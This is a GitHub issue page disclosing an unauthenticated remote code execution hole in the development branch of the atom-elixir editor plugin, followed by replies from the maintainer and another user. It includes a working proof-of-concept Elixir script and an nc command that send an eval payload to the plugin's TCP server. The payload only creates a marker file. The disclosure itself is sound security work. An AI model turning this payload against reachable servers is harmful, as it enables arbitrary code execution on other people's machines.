atom-elixir icon indicating copy to clipboard operation
atom-elixir copied to clipboard

Unauthenticated remote code execution from any host

Open ivan opened this issue 7 years ago • 2 comments

atom-elixir@master starts a TCP server that listens on all interfaces and evals code without authenticating the user. Anyone on the network can use this to execute arbitrary code with the privileges of the user running atom-elixir. (Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.)

make_payload.exs:

# This can, of course, be far worse.
exploit = ~s{File.touch!("/tmp/atom-elixir-rce")}

payload = %{"buffer" => "", "module" => exploit, "function" => "", "line" => ""}
data    = %{"request" => "definition", "payload" => payload}
bterm   = :erlang.term_to_binary(data)
length  = bterm |> byte_size
:ok     = IO.write(<<101, length :: size(32), bterm :: bitstring>>)

Make sure atom-elixir@master is running in Atom (atom --foreground), take note of the port, and run:

elixir make_payload.exs | nc 127.0.0.1 PORT

and observe /tmp/atom-elixir-rce get created on the target machine (which, as mentioned, does not need to be localhost).

I filed a similar bug on alchemist-server at https://github.com/tonini/alchemist-server/issues/14 and the comments there apply here too, especially: listening only on 127.0.0.1 does not fully resolve the issue because of potential attacks from other users or through the browser.

ivan avatar Feb 26 '17 17:02 ivan

@ivan thanks for reporting this issue. I'll take a look at it as soon I finish the new API.

Note: I believe the atom-elixir 0.2.2 release version is unaffected; I didn't see a TCP server there.

Yes. TCPServer is still in development and has not been published yet.

msaraiva avatar Mar 03 '17 01:03 msaraiva

@msaraiva I want to bring this to your attention https://github.com/tonini/alchemist-server/issues/14#issuecomment-317044347

This issue is exploitable from any website via javascript.

mveytsman avatar Jul 21 '17 16:07 mveytsman